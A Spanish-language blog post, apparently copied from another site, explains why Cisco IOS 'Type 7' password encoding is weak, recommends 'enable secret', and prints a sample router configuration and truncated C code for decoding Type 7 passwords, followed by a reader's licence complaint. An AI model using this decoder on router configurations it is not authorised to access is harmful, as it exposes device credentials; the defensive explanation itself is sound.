La encriptación denominada "Type 7" que los sistemas operativos IOS de Cisco hacía de sus claves para usuario (Entrada al modo enable, telnet, console, etc..) hace muchísimo tiempo que se consiguió romper (1997) ya que es un algoritmo muy débil. Realmente su funcionalidad es la de impedir que alguien obtenga la clave a simple vista mirando el fichero de configuración de un router / switch Cisco o mediante un listado de la configuración ("# show running-config").
Vamos a mostrar una colección de exploit creados en C (Original), perl y javascript junto con sus formas de aplicarlo, un juego de niños realmente. Esta debilidad en el algoritmo "tipo 7" es asumida por Cisco y en principio no supone un grave problema (o si,..), porque muchas veces el IOS de cisco necesita tener ciertas claves en claro para su uso en distintos protocolos usados por el router, la seguridad recae en el acceso al modo privilegiado, que en principio es el único usuario que puede ver las claves (Encriptadas o no). Por eso lo que demos proteger es la clave del modo enable (Modo administrador), la cual no conviene encriptarla mediante este algoritmo "type 7", para ello tenemos el conocido algoritmo de una sola via MD5 que como sabemos es mucho mas seguro.
- Establecer clave al modo privilegiado "enable" en con encriptación "tipo 7" (NO recomendado)
(config)# enable password ******* (La deja en texto claro)
(config)# service password-encriptation (Aplica la encriptación tipo 7 a todas las password no cifradas)
(config)# enable password 7 ******* (Insertando directamente la clave bajo Type 7)
- Establecer clave enable en modo MD5 (Recomendado)
(config)# enable secret *******
Veamos en que difieren estas password y como descifrar las claves bajo tipo 7. En una supuesta configuración de un router cisco podemos encontrar lineas referentes a los password como estas:
enable secret 5 $1$p4rZ$L95PhzMUME4ZZDh0DOAZv1 ->Usando enable secret (MD5)
password 7 045802150c2e -> Usando cifrado debil "type 7" (Hackeable)
En el siguiente ejemplo tenemos una clave encriptada mediante md5 y dos débiles (telnet y console)
Ejemplo:
---------------------------------------------------------------------------------
[busi@darkstar]$ cat start-up.config
!
version 12.2
no service single-slot-reload-enable
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname R1
!
logging rate-limit console 10 except errors
enable secret 5 $1$p4rZ$L95PhzMUME4ZZDh0DOAZv1
!
ip subnet-zero
!
!
no ip finger
!
no ip dhcp-client network-discovery
!
!
!
interface FastEthernet1/0
ip address 192.168.1.1 255.255.255.248
duplex auto
speed auto
!
ip classless
ip http server
!
!
line con 0
password 7 094F471A1A0A2811040217252721
transport input none
line aux 0
line vty 0 4
password 7 045802150c2e
login
!
end
end
------------------------------------------------------------------------------
Exploit en C:
PLAIN TEXT
/* This code is originally from a Bugtraq post by
Jared Mauch
. I patched it with an improved
translation table by Janos Zsako
-Fyodor (fyodor@dhp.com) */
#include
#include
char xlat[] = {
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42
};
char pw_str1[] = " password 7 ";
char pw_str2[] = "enable password 7 ";
char pw_str3[] = "ip ftp password 7 ";
char pw_str4[] = " ip ospf message-digest-key 1 md5 7 ";
char *pname;
cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;
{
unsigned int seed, i, val = 0;
if(strlen(enc_pw) & 1)
return(-1);
seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';
if (seed> 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
return(-1);
for (i = 2 ; i <= strlen(enc_pw); i++) {
if(i !=2 && !(i & 1)) {
dec_pw[i / 2 - 2] = val ^ xlat[seed++];
val = 0;
}
val *= 16;
if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
val += enc_pw[i] - '0';
continue;
}
if(enc_pw[i]>= 'A' && enc_pw[i] <= 'F') {
val += enc_pw[i] - 'A' + 10;
continue;
}
if(strlen(enc_pw) != i)
return(-1);
}
dec_pw[++i / 2] = 0;
return(0);
}
usage()
{
fprintf(stdout, "Usage: %s -p \n", pname);
fprintf(stdout, " %s
1 comentario:
Buenas. Quería comentarte una cosa, estás incumpliendo la licencia de mi blog:
www.busindre.com
Al poner mis artículos como si fueran tuyos, lo cual es una falta de educación y no es legal ya que estás generando una violación de la licencia de dichos escritos. Debes poner la fuente siempre, no puedes copiar artículos de otra gente y ponerlos en tu blog como si fueras tú su autor.
Estos son los artículos que he visto, pero no he buscado demasiado tampoco:
http://mentes-inkietas-reload.blogspot.com/2008/10/ahorrar-batera-en-portatiles-con.html
http://mentes-inkietas-reload.blogspot.com/2008/10/apagar-el-monitor-en-gnulinux.html
http://mentes-inkietas-reload.blogspot.com/2008/10/exploits-para-encriptacion-tipo-7-de.html
http://mentes-inkietas-reload.blogspot.com/2008/10/detectar-escaneos-de-puertos-y-ataques.html
http://mentes-inkietas-reload.blogspot.com/2008/10/matar-todos-los-procesos-de-un-usuario.html
Ruego cumplas con la licencia en todos los post que copiaste.
Licencia: http://creativecommons.org/licenses/by-nc-sa/3.0/es/
Un saludo y espero que solo haya sido un despiste por tu parte :D
Publicar un comentario